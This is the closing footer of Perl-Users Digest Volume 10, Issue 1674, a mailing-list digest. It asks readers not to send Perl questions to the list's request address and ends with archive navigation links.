perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 1674
***************************************


home help back first fref pref prev next nref lref last post